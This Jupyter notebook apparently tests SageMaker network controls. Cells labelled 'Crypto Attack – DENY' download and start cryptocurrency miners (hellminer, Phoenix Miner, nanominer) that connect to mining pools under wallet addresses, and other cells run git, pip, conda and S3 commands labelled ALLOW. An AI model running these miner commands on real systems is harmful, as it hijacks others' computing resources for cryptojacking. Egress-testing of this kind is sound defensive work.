{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Crypto Attack 1 - DENY"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "--2021-12-15 01:22:33--  https://github.com/hellcatz/luckpool/raw/master/miners/hellminer_cpu_linux.tar.gz\n",
      "Resolving github.com (github.com)... 140.82.114.3\n",
      "Connecting to github.com (github.com)|140.82.114.3|:443... connected.\n",
      "HTTP request sent, awaiting response... 302 Found\n",
      "Location: https://raw.githubusercontent.com/hellcatz/luckpool/master/miners/hellminer_cpu_linux.tar.gz [following]\n",
      "--2021-12-15 01:22:33--  https://raw.githubusercontent.com/hellcatz/luckpool/master/miners/hellminer_cpu_linux.tar.gz\n",
      "Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.108.133, ...\n",
      "Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.\n",
      "HTTP request sent, awaiting response... 200 OK\n",
      "Length: 5997565 (5.7M) [application/octet-stream]\n",
      "Saving to: ‘hellminer_cpu_linux.tar.gz’\n",
      "\n",
      "hellminer_cpu_linux 100%[===================>]   5.72M  --.-KB/s    in 0.06s   \n",
      "\n",
      "2021-12-15 01:22:33 (95.8 MB/s) - ‘hellminer_cpu_linux.tar.gz’ saved [5997565/5997565]\n",
      "\n",
      "tar: hellminer: Cannot change ownership to uid 1000, gid 129: Operation not permitted\n",
      "tar: mine-hybrid.sh: Cannot change ownership to uid 1000, gid 129: Operation not permitted\n",
      "tar: mine-hybrid-staticdiff.sh: Cannot change ownership to uid 1000, gid 129: Operation not permitted\n",
      "tar: mine.sh: Cannot change ownership to uid 1000, gid 129: Operation not permitted\n",
      "tar: verus-solver: Cannot change ownership to uid 1000, gid 129: Operation not permitted\n",
      "tar: Exiting with failure status due to previous errors\n",
      " \n",
      " Hellminer 0.52 [VerusHash 2.2 CPU Miner] Linux\n",
      " \n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956]\n",
      "Successfully connected to 149.56.27.47:3956\n",
      " *** WARN: eof_received\n",
      " *** ERROR: stratum connection closed\n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956] (attempt 2)\n",
      "Successfully connected to 149.56.27.47:3956\n",
      " *** WARN: eof_received\n",
      " *** ERROR: stratum connection closed\n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956] (attempt 3)\n",
      "Successfully connected to 149.56.27.47:3956\n",
      " *** WARN: eof_received\n",
      " *** ERROR: stratum connection closed\n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956] (attempt 4)\n",
      "Successfully connected to 149.56.27.47:3956\n",
      " *** WARN: eof_received\n",
      " *** ERROR: stratum connection closed\n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956] (attempt 5)\n",
      "Successfully connected to 149.56.27.47:3956\n",
      "^C\n"
     ]
    }
   ],
   "source": [
    "!wget https://github.com/hellcatz/luckpool/raw/master/miners/hellminer_cpu_linux.tar.gz\n",
    "!tar xf hellminer_cpu_linux.tar.gz\n",
    "!chmod +x hellminer\n",
    "!./hellminer -c stratum+tcp://na.luckpool.net:3956#xnsub -u RXD79XACKosRqTWEoJa4EbZGT93B8rdxnB.sangemaker -p x --cpu 64"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      " \n",
      " Hellminer 0.52 [VerusHash 2.2 CPU Miner] Linux\n",
      " \n",
      "Connecting to na.luckpool.net:3956 [149.56.27.47:3956]\n",
      "Could not find './verus-solver' binary; make sure to run 'make' to compile it\n"
     ]
    }
   ],
   "source": [
    "!./hellminer -c stratum+tcp://na.luckpool.net:3956#xnsub -u RXD79XACKosRqTWEoJa4EbZGT93B8rdxnB.sangemaker -p x --cpu 64"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Crypto Attack 2 - DENY\n",
    "This requires a GPU instance."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "0% [Waiting for headers] [Waiting for headers]^C\n"
     ]
    }
   ],
   "source": [
    "!apt-get update && apt-get install pciutils -y "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Phoenix Miner 5.6d Linux/gcc - Release build\n",
      "--------------------------------------------\n",
      "\n",
      "\u001b[0mNo CUDA driver found\n",
      "No OpenCL platforms found\n",
      "\u001b[91mNo avaiable GPUs for mining. Please check your drivers and/or hardware.\n",
      "\u001b[0m"
     ]
    }
   ],
   "source": [
    "!./phoenix-miner -rvram 1 -pool stratum+tcp://172.65.223.147:3353 -pool2 stratum+tcp://172.65.200.133:3353 -ewal 34sbSVVaUkG52dWpyVZMsJun3gC8YuK1Qs -esm 3 -allpools 1 -allcoins 0"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Crypto Attach 3 - DENY\n",
    "This requires a GPU instance."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\u001b[1m\u001b[33m                                   _                 \u001b[0m\n",
      "\u001b[1m\u001b[33m _ __   __ _ _ __   ___  _ __ ___ (_)_ __   ___ _ __ \u001b[0m\n",
      "\u001b[1m\u001b[33m| '_ \\ / _` | '_ \\ / _ \\| '_ ` _ \\| | '_ \\ / _ \\ '__|\u001b[0m\n",
      "\u001b[1m\u001b[33m| | | | (_| | | | | (_) | | | | | | | | | |  __/ |   \u001b[0m\n",
      "\u001b[1m\u001b[33m|_| |_|\\__,_|_| |_|\\___/|_| |_| |_|_|_| |_|\\___|_|   \u001b[0m\n",
      "\u001b[1m\u001b[33m\u001b[0m\n",
      "\u001b[1m\u001b[33mVersion 1.10.1\u001b[0m\n",
      "\u001b[37m2021-12-15 01:25:16: Started EthMan server on port 3333 without a password (read-only mode).\n",
      "\u001b[1m\u001b[33m2021-12-15 01:25:16: Started web interface on port 9090 without a password.\n",
      "\u001b[1m\u001b[32mDetected 0 devices\u001b[0m\n",
      "\u001b[1m\u001b[35m-------------------Ethash:------------------\u001b[0m\n",
      "\u001b[1m\u001b[35mCurrency: Ethereum\u001b[0m\n",
      "\u001b[1m\u001b[35mWallet: 31x7cpdmNQVwQhkdroy52YjCwBkP8VmcnJ\u001b[0m\n",
      "\u001b[1m\u001b[35mRig name: 980278\u001b[0m\n",
      "\u001b[1m\u001b[35mEmail was not set.\u001b[0m\n",
      "\u001b[1m\u001b[35mRig password: x\u001b[0m\n",
      "\u001b[1m\u001b[35mHashrate threshold to restart miner is not set\u001b[0m\n",
      "\u001b[1m\u001b[35mAdded pool: daggerhashimoto.eu-north.nicehash.com:3353\u001b[0m\n",
      "\u001b[1m\u001b[35mAuto pool sorting is disabled\u001b[0m\n",
      "\u001b[1m\u001b[35m-------------Common parameters:-------------\u001b[0m\n",
      "\u001b[1m\u001b[35mLog path: ./logs/\u001b[0m\n",
      "\u001b[1m\u001b[35mLog is written to file\u001b[0m\n",
      "\u001b[1m\u001b[35mGPU watchdog is enabled\u001b[0m\n",
      "\u001b[1m\u001b[35mNever calling reboot.sh (always restarting the miner in case of errors). \u001b[0m\n",
      "\u001b[37m2021-12-15 01:25:16: Setting up algorithm: Ethash\n",
      "\u001b[37m2021-12-15 01:25:17: No GPU devices were detected, exiting.\n"
     ]
    }
   ],
   "source": [
    "!./Tesla cfg.ini"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Apt-get Update - DENY (or ALLOW?)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "0% [Waiting for headers] [Waiting for headers]^C\n"
     ]
    }
   ],
   "source": [
    "!apt-get update"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Git Clone - ALLOW"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 83,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Cloning into 'workshop'...\n",
      "remote: Enumerating objects: 20110, done.\u001b[K\n",
      "remote: Counting objects: 100% (920/920), done.\u001b[K\n",
      "remote: Compressing objects: 100% (687/687), done.\u001b[K\n",
      "remote: Total 20110 (delta 566), reused 496 (delta 225), pack-reused 19190\u001b[K\n",
      "Receiving objects: 100% (20110/20110), 790.88 MiB | 45.32 MiB/s, done.\n",
      "Resolving deltas: 100% (12506/12506), done.\n",
      "Checking out files: 100% (4379/4379), done.\n"
     ]
    }
   ],
   "source": [
    "!git clone https://github.com/data-science-on-aws/workshop"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Pip Install - ALLOW"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/opt/conda/lib/python3.7/site-packages/secretstorage/dhcrypto.py:16: CryptographyDeprecationWarning: int_from_bytes is deprecated, use int.from_bytes instead\n",
      "  from cryptography.utils import int_from_bytes\n",
      "/opt/conda/lib/python3.7/site-packages/secretstorage/util.py:25: CryptographyDeprecationWarning: int_from_bytes is deprecated, use int.from_bytes instead\n",
      "  from cryptography.utils import int_from_bytes\n",
      "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "!pip install --disable-pip-version-check -q sagemaker==2.35.0"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Conda Install - ALLOW"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Check connectivity to the repo (redirects to binstar S3 bucket)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 66,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "--2021-12-10 21:26:43--  https://conda.anaconda.org/pytorch/linux-64/pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2\n",
      "Resolving conda.anaconda.org (conda.anaconda.org)... 104.17.92.24, 104.17.93.24, 2606:4700::6811:5d18, ...\n",
      "Connecting to conda.anaconda.org (conda.anaconda.org)|104.17.92.24|:443... connected.\n",
      "HTTP request sent, awaiting response... 302 FOUND\n",
      "Location: https://binstar-cio-packages-prod.s3.amazonaws.com/5a11922b393ec61208ae9668/5f20453478705809fc657bea?response-content-disposition=attachment%3B%20filename%3D%22pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2%22%3B%20filename%2A%3DUTF-8%27%27pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2&response-content-type=application%2Fx-tar&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=60&X-Amz-Date=20211210T212643Z&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBoaCXVzLWVhc3QtMSJIMEYCIQDF%2BtZe5U2pdKphvXSXRsJTH12RqPPE1w0qqCl%2Br0otvwIhALwxx5xdrMoVXNzV3LdQZLt0sKC6lIyp0E6MTYHvelnHKoMECPP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNDU1ODY0MDk4Mzc4IgwC6MBRZSVLg1bBsZIq1wOPp5kMn50Zx1hsHuqK1DhLHQ%2BfFb5c9%2FDMK%2BnTX71DxA4QeEtUSUBLKZ120jaCCWwtnhV%2BeLrVA0D4yWZExTlPr4Ud4hZxrFwmefzQYBq5hCsg71%2FN%2BjQWikTi82nE1LSmYdsSFSV9eqsHv7K%2BvfNiFCp7KmwngkMGOHmyerSKxR7W%2FajCLYw4Pw8Rnt%2BMRN4KArEgzNDvP1xzqmjGp7dPRNUfutl77CBKDYSXZ5WKWOcsXR9QjDE3OQLSVgLu%2FCpARrOcf7QH%2FyUIV1igpkx14wzu%2FDpV1JeAlrAOOrtqajW%2F0%2Ffsi42ZlHi40HbqLBKomRlsDaZq3QnSiZ6QUba%2BlcxGI65yyh%2B9fWxiqYbvAO%2Bv%2B65KmfBLiLIVQNn5BruXsqd4T2mEW5diFrtdct%2BZF6763vNT7ILWCATrjPMtRh8%2FXCy94%2FZFR5vAwKkvhI8spQAif3wdN10YlVVy41GfOqW6tfg%2BUR7Rv9wsXTj%2BLl6YrNNkUR3VQ2xvvDCOZwm7%2FAoC%2FbGOlPPFfpbdqeZIlvKHh7OQpYQMbrktRCg%2FJ0ODvvw%2BGNpetWc7IpAEwWP7dzIftoKNR5geOjB7J4pwwCPccQEhbyft0JqhLdkQbBrmo6QkPdEwpqPOjQY6pAHf32JDoSNzZgJ64Xt%2FSuxqgLzMm2l4TUJHfubbR5anBIAykQNTUoKwzK5jgJKv4%2BiGVNCKeB7lWsT%2Fy9wlx4zmpwm2BD8xxD%2F5fa%2FjM%2Bbejxt7FKz7xuf6xQ%2FnYhs3S3zHCqrnqPD0V53qWrKyrsNpV%2BP7d0yOPeJ6D6VYCWKPLA%2FbQBaCitfrEAyCFU7t%2FyYbl1U%2FGyLcbv91l005h1MQmhGiFg%3D%3D&X-Amz-Credential=ASIAWUI46DZFPQZAFSG3%2F20211210%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=ad02c8bacf4eae121c47809e864fc39754546a03478a187c7e9643f09b294967 [following]\n",
      "--2021-12-10 21:26:43--  https://binstar-cio-packages-prod.s3.amazonaws.com/5a11922b393ec61208ae9668/5f20453478705809fc657bea?response-content-disposition=attachment%3B%20filename%3D%22pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2%22%3B%20filename%2A%3DUTF-8%27%27pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2&response-content-type=application%2Fx-tar&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=60&X-Amz-Date=20211210T212643Z&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBoaCXVzLWVhc3QtMSJIMEYCIQDF%2BtZe5U2pdKphvXSXRsJTH12RqPPE1w0qqCl%2Br0otvwIhALwxx5xdrMoVXNzV3LdQZLt0sKC6lIyp0E6MTYHvelnHKoMECPP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNDU1ODY0MDk4Mzc4IgwC6MBRZSVLg1bBsZIq1wOPp5kMn50Zx1hsHuqK1DhLHQ%2BfFb5c9%2FDMK%2BnTX71DxA4QeEtUSUBLKZ120jaCCWwtnhV%2BeLrVA0D4yWZExTlPr4Ud4hZxrFwmefzQYBq5hCsg71%2FN%2BjQWikTi82nE1LSmYdsSFSV9eqsHv7K%2BvfNiFCp7KmwngkMGOHmyerSKxR7W%2FajCLYw4Pw8Rnt%2BMRN4KArEgzNDvP1xzqmjGp7dPRNUfutl77CBKDYSXZ5WKWOcsXR9QjDE3OQLSVgLu%2FCpARrOcf7QH%2FyUIV1igpkx14wzu%2FDpV1JeAlrAOOrtqajW%2F0%2Ffsi42ZlHi40HbqLBKomRlsDaZq3QnSiZ6QUba%2BlcxGI65yyh%2B9fWxiqYbvAO%2Bv%2B65KmfBLiLIVQNn5BruXsqd4T2mEW5diFrtdct%2BZF6763vNT7ILWCATrjPMtRh8%2FXCy94%2FZFR5vAwKkvhI8spQAif3wdN10YlVVy41GfOqW6tfg%2BUR7Rv9wsXTj%2BLl6YrNNkUR3VQ2xvvDCOZwm7%2FAoC%2FbGOlPPFfpbdqeZIlvKHh7OQpYQMbrktRCg%2FJ0ODvvw%2BGNpetWc7IpAEwWP7dzIftoKNR5geOjB7J4pwwCPccQEhbyft0JqhLdkQbBrmo6QkPdEwpqPOjQY6pAHf32JDoSNzZgJ64Xt%2FSuxqgLzMm2l4TUJHfubbR5anBIAykQNTUoKwzK5jgJKv4%2BiGVNCKeB7lWsT%2Fy9wlx4zmpwm2BD8xxD%2F5fa%2FjM%2Bbejxt7FKz7xuf6xQ%2FnYhs3S3zHCqrnqPD0V53qWrKyrsNpV%2BP7d0yOPeJ6D6VYCWKPLA%2FbQBaCitfrEAyCFU7t%2FyYbl1U%2FGyLcbv91l005h1MQmhGiFg%3D%3D&X-Amz-Credential=ASIAWUI46DZFPQZAFSG3%2F20211210%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=ad02c8bacf4eae121c47809e864fc39754546a03478a187c7e9643f09b294967\n",
      "Resolving binstar-cio-packages-prod.s3.amazonaws.com (binstar-cio-packages-prod.s3.amazonaws.com)... 52.217.130.1\n",
      "Connecting to binstar-cio-packages-prod.s3.amazonaws.com (binstar-cio-packages-prod.s3.amazonaws.com)|52.217.130.1|:443... connected.\n",
      "HTTP request sent, awaiting response... 200 OK\n",
      "Length: 563823823 (538M) [application/x-tar]\n",
      "Saving to: ‘pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2.1’\n",
      "\n",
      "da10.2.89_cudnn7.6.  53%[=========>          ] 287.46M  31.5MB/s    eta 10s    ^C\n"
     ]
    }
   ],
   "source": [
    "!wget https://conda.anaconda.org/pytorch/linux-64/pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0.tar.bz2"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Collecting package metadata (current_repodata.json): ...working... done\n",
      "Solving environment: ...working... done\n",
      "\n",
      "## Package Plan ##\n",
      "\n",
      "  environment location: /opt/conda\n",
      "\n",
      "  added / updated specs:\n",
      "    - pytorch==1.6.0\n",
      "\n",
      "\n",
      "The following NEW packages will be INSTALLED:\n",
      "\n",
      "  cudatoolkit        pkgs/main/linux-64::cudatoolkit-10.2.89-hfd86e86_1\n",
      "  ninja              pkgs/main/linux-64::ninja-1.10.2-py37hd09550d_3\n",
      "  pytorch            pytorch/linux-64::pytorch-1.6.0-py3.7_cuda10.2.89_cudnn7.6.5_0\n",
      "\n",
      "The following packages will be UPDATED:\n",
      "\n",
      "  ca-certificates    conda-forge::ca-certificates-2021.10.~ --> pkgs/main::ca-certificates-2021.10.26-h06a4308_2\n",
      "\n",
      "The following packages will be SUPERSEDED by a higher-priority channel:\n",
      "\n",
      "  conda              conda-forge::conda-4.11.0-py37h89c186~ --> pkgs/main::conda-4.11.0-py37h06a4308_0\n",
      "\n",
      "\n",
      "Preparing transaction: ...working... done\n",
      "Verifying transaction: ...working... done\n",
      "Executing transaction: ...working... done\n"
     ]
    }
   ],
   "source": [
    "!conda install -q -y pytorch==1.6.0 -c pytorch"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [],
   "source": [
    "import torch"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Collecting package metadata (current_repodata.json): ...working... done\n",
      "Solving environment: ...working... failed with initial frozen solve. Retrying with flexible solve.\n",
      "Collecting package metadata (repodata.json): ...working... done\n",
      "Solving environment: ...working... done\n",
      "\n",
      "## Package Plan ##\n",
      "\n",
      "  environment location: /opt/conda\n",
      "\n",
      "  added / updated specs:\n",
      "    - transformers==3.5.1\n",
      "\n",
      "\n",
      "The following packages will be downloaded:\n",
      "\n",
      "    package                    |            build\n",
      "    ---------------------------|-----------------\n",
      "    ca-certificates-2021.10.8  |       ha878542_0         139 KB  conda-forge\n",
      "    conda-4.11.0               |   py37h89c1867_0        16.9 MB  conda-forge\n",
      "    gperftools-2.7             |       h767d802_2         2.3 MB  conda-forge\n",
      "    libprotobuf-3.13.0.1       |       h8b12597_0         2.3 MB  conda-forge\n",
      "    perl-5.32.0                |       h36c2ea0_0        16.8 MB  conda-forge\n",
      "    protobuf-3.13.0.1          |   py37h745909e_1         704 KB  conda-forge\n",
      "    regex-2020.11.13           |   py37h4abf009_0         356 KB  conda-forge\n",
      "    sacremoses-0.0.46          |     pyhd8ed1ab_0         466 KB  conda-forge\n",
      "    sentencepiece-0.1.92       |   py37h99015e2_0         2.3 MB  conda-forge\n",
      "    tokenizers-0.9.4           |   py37h17e0dd7_1         2.6 MB  conda-forge\n",
      "    transformers-3.5.1         |     pyhd8ed1ab_0         685 KB  conda-forge\n",
      "    ------------------------------------------------------------\n",
      "                                           Total:        45.5 MB\n",
      "\n",
      "The following NEW packages will be INSTALLED:\n",
      "\n",
      "  gperftools         conda-forge/linux-64::gperftools-2.7-h767d802_2\n",
      "  libprotobuf        conda-forge/linux-64::libprotobuf-3.13.0.1-h8b12597_0\n",
      "  perl               conda-forge/linux-64::perl-5.32.0-h36c2ea0_0\n",
      "  protobuf           conda-forge/linux-64::protobuf-3.13.0.1-py37h745909e_1\n",
      "  regex              conda-forge/linux-64::regex-2020.11.13-py37h4abf009_0\n",
      "  sacremoses         conda-forge/noarch::sacremoses-0.0.46-pyhd8ed1ab_0\n",
      "  sentencepiece      conda-forge/linux-64::sentencepiece-0.1.92-py37h99015e2_0\n",
      "  tokenizers         conda-forge/linux-64::tokenizers-0.9.4-py37h17e0dd7_1\n",
      "  transformers       conda-forge/noarch::transformers-3.5.1-pyhd8ed1ab_0\n",
      "\n",
      "The following packages will be SUPERSEDED by a higher-priority channel:\n",
      "\n",
      "  ca-certificates    pkgs/main::ca-certificates-2021.10.26~ --> conda-forge::ca-certificates-2021.10.8-ha878542_0\n",
      "  conda              pkgs/main::conda-4.11.0-py37h06a4308_0 --> conda-forge::conda-4.11.0-py37h89c1867_0\n",
      "\n",
      "\n",
      "Preparing transaction: ...working... done\n",
      "Verifying transaction: ...working... done\n",
      "Executing transaction: ...working... done\n"
     ]
    }
   ],
   "source": [
    "!conda install -q -y transformers==3.5.1 -c conda-forge"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [],
   "source": [
    "import transformers"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# S3 List - ALLOW"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
     ]
    }
   ],
   "source": [
    "!aws s3 ls --recursive s3://dlai-practical-data-science"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "--2021-12-15 01:29:10--  https://s3.amazonaws.com/models.huggingface.co/bert/distilbert-base-uncased-config.json\n",
      "Resolving s3.amazonaws.com (s3.amazonaws.com)... 52.216.227.3\n",
      "Connecting to s3.amazonaws.com (s3.amazonaws.com)|52.216.227.3|:443... connected.\n",
      "HTTP request sent, awaiting response... 200 OK\n",
      "Length: 442 [application/json]\n",
      "Saving to: ‘distilbert-base-uncased-config.json.1’\n",
      "\n",
      "distilbert-base-unc 100%[===================>]     442  --.-KB/s    in 0s      \n",
      "\n",
      "2021-12-15 01:29:10 (10.6 MB/s) - ‘distilbert-base-uncased-config.json.1’ saved [442/442]\n",
      "\n"
     ]
    }
   ],
   "source": [
    "!wget https://s3.amazonaws.com/models.huggingface.co/bert/distilbert-base-uncased-config.json"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "004ce0bb3a164a0b9fc38678358ac3f4",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(FloatProgress(value=0.0, description='Downloading', max=481.0, style=ProgressStyle(description_…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "RobertaConfig {\n",
       "  \"architectures\": [\n",
       "    \"RobertaForMaskedLM\"\n",
       "  ],\n",
       "  \"attention_probs_dropout_prob\": 0.1,\n",
       "  \"bos_token_id\": 0,\n",
       "  \"eos_token_id\": 2,\n",
       "  \"gradient_checkpointing\": false,\n",
       "  \"hidden_act\": \"gelu\",\n",
       "  \"hidden_dropout_prob\": 0.1,\n",
       "  \"hidden_size\": 768,\n",
       "  \"id2label\": {\n",
       "    \"0\": -1,\n",
       "    \"1\": 0,\n",
       "    \"2\": 1\n",
       "  },\n",
       "  \"initializer_range\": 0.02,\n",
       "  \"intermediate_size\": 3072,\n",
       "  \"label2id\": {\n",
       "    \"-1\": 0,\n",
       "    \"0\": 1,\n",
       "    \"1\": 2\n",
       "  },\n",
       "  \"layer_norm_eps\": 1e-05,\n",
       "  \"max_position_embeddings\": 514,\n",
       "  \"model_type\": \"roberta\",\n",
       "  \"num_attention_heads\": 12,\n",
       "  \"num_hidden_layers\": 12,\n",
       "  \"pad_token_id\": 1,\n",
       "  \"type_vocab_size\": 1,\n",
       "  \"vocab_size\": 50265\n",
       "}"
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from transformers import RobertaConfig\n",
    "\n",
    "PRE_TRAINED_MODEL_NAME = 'roberta-base'\n",
    "\n",
    "classes = [-1, 0, 1]\n",
    "\n",
    "RobertaConfig.from_pretrained(\n",
    "        PRE_TRAINED_MODEL_NAME, \n",
    "        num_labels=len(classes),\n",
    "        id2label={\n",
    "            ### BEGIN SOLUTION - DO NOT delete this comment for grading purposes\n",
    "            0: -1, # Replace all None\n",
    "            1: 0, # Replace all None\n",
    "            2: 1, # Replace all None\n",
    "            ### END SOLUTION - DO NOT delete this comment for grading purposes\n",
    "        },\n",
    "        label2id={\n",
    "            -1: 0,\n",
    "            0: 1,\n",
    "            1: 2,\n",
    "        }\n",
    ")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "instance_type": "ml.t3.medium",
  "kernelspec": {
   "display_name": "Python 3 (Data Science)",
   "language": "python",
   "name": "python3__SAGEMAKER_INTERNAL__arn:aws:sagemaker:us-east-1:081325390199:image/datascience-1.0"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.10"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
